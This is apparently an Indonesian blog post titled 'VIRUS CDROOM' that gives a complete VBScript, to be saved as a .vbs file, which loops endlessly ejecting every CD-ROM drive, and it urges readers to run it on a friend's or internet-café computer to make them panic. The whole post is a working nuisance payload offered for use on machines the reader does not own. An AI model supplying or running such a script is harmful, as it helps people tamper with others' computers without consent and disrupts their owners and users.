VIRUS CDROOM

Buat anda yang suka iseng diwarnet atau di computer temen nih saya ada virus yang dapat membuat teman anda panik, karena virus ini membuat cdroom keluar masuk sendiri hehehe lumayan jahil kan.

Iya langsung aja  copy  tag berikut pada notepad,

Set ilikepies = CreateObject("WMPlayer.OCX.7")

Set ilikepie = ilikepies.cdromCollection

if ilikepie.Count >=1 then

do

For ilikepiesalot=0 to ilikepie.COunt -1

ilikepie.Item(ilikepiesalot).Eject

Next ' cdrom

For ilikepiesalot=0 to ilikepie.COunt -1

ilikepie.Item(ilikepiesalot).Eject

Next ' cdrom

loop

End If

(ingat dalam menyimpan tag tersebut mengunakan “nama.vbs”)

Nah mudahkan selamat mencoba yah..